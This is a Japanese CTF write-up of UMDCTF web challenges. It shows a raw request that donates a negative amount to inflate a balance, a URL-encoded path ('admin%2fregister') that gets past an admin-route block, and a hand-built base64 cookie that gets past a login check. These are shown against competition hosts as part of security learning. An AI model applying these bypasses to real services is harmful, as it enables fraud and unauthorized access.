https://ctftime.org/event/2323
web/Donations
ソースコード無し。
寄付できるサイトが与えられる。
POST /api/donate HTTP/2 Host: donations-api.challs.umdctf.io Cookie: session=eyJ1c2VybmFtZSI6ICJldmlsbWFuIn0=.ZixWKQ.YTGpGoytWnjqiFg2fW68pNtuml8 Content-Length: 30 Content-Type: application/x-www-form-urlencoded to=lisanalgaib¤cy=-10000
以上のようにマイナスの値で寄付をするとお金が増えて、この状態で自分のページに行くとフラグがもらえた。
web/Donations (but I fixed it) あきらめ
ソースコード無し。
色々試したが分からん。
Discordを見るとtoを複数やると検証を回避して違う人に送れるっぽい。ふむ。
web/HTTP Fanatics
一部、main.pyとmain.rsというソースコード有り。
HTTP/3での通信が必要。それ以外でつないでいくとHTTP/3でつないでと言われる。
curlではEXPERIMENTALな実装らしいので、誰かがビルドしてくれたものを雑に使って接続した。
(推奨するわけではないので使ったアプリは紹介しない)
とりあえず $ ./curl --http3-only https://http-fanatics.challs.umdctf.io
でいい感じに表示ができた。
main.pyの以下で登録処理ができるのでやってみる。
@app.post("/admin/register") def register(user: Registration): if not re.match(r"[a-zA-Z]{1,8}", user.username): return Response(status_code=400, content="Bad Request") users[user.username] = user.password return Response(status_code=204)
ということで以下のようにする。
$ ./curl --http3-only https://http-fanatics.challs.umdctf.io/admin/register -X POST -d '{"username":"evilman","password":"sadfjk234jisdfjksdafjisad"}' -H "Content-Type: application/json" Unauthorized
Unauthorizedと言われますね。
HTTP/3部分を担当しているmain.rsの実装を見てみる。
if request.uri().path() == "/admin/register" { stream.send_response(Response::builder().status(StatusCode::UNAUTHORIZED).body(()).unwrap()).await?; stream.send_data(Bytes::from("Unauthorized")).await?; stream.finish().await?; return Ok(()); }
ブロック処理がありました。これを回避する必要がある。
これは単純にadmin/register
をURLエンコードしてadmin%2fregister
とすることで回避できた。
完全に想像だが、
/admin%2fregister /admin/register ┌─────────────┐ ┌─────────────┐ ─────────►│ ├─────►│ │ │ main.rs │ │ main.py │ ◄─────────┼─────────────┼──────┤ │ └─────────────┘ └─────────────┘
多分こんな感じで処理されてうまくいく。
誰がURLデコードしているかは不明だが、fastapiだろう。(無根拠)
これで登録処理が完了したので、main.pyの以下の部分にあるようにログインしてみる。
@app.get("/dashboard") def dashboard(credentials: Annotated[str | None, Cookie()] = None): if not credentials: return Response(status_code=401, content="Unauthorized") user_info = json.loads(base64.b64decode(credentials)) if user_info["username"] not in users or user_info["password"] != users[user_info["username"]]: return Response(status_code=401, content="Unauthorized") with open("static/dashboard.html") as dashboard_file: return HTMLResponse(content=dashboard_file.read())
ということなので、
$ ./curl --http3-only https://http-fanatics.challs.umdctf.io/dashboard -b "credentials=eyJ1c2VybmFtZSI6ImV2aWxtYW4iLCJwYXNzd29yZCI6InNhZGZqazIzNGppc2RmamtzZGFmamlzYWQifQ==" <html> <head> <title>HTTP Fanatics - Dashboard</title> </head> <body> <h1>HTTP Fanatics - Registered Member Dashboard</h1> <p>Flag: UMDCTF{■■■■■■■■■■■■■■■■■■■■■■}</p> </body> </html>
フラグが得られた。
web/UMDProxy 解いてない
ソースコード無し…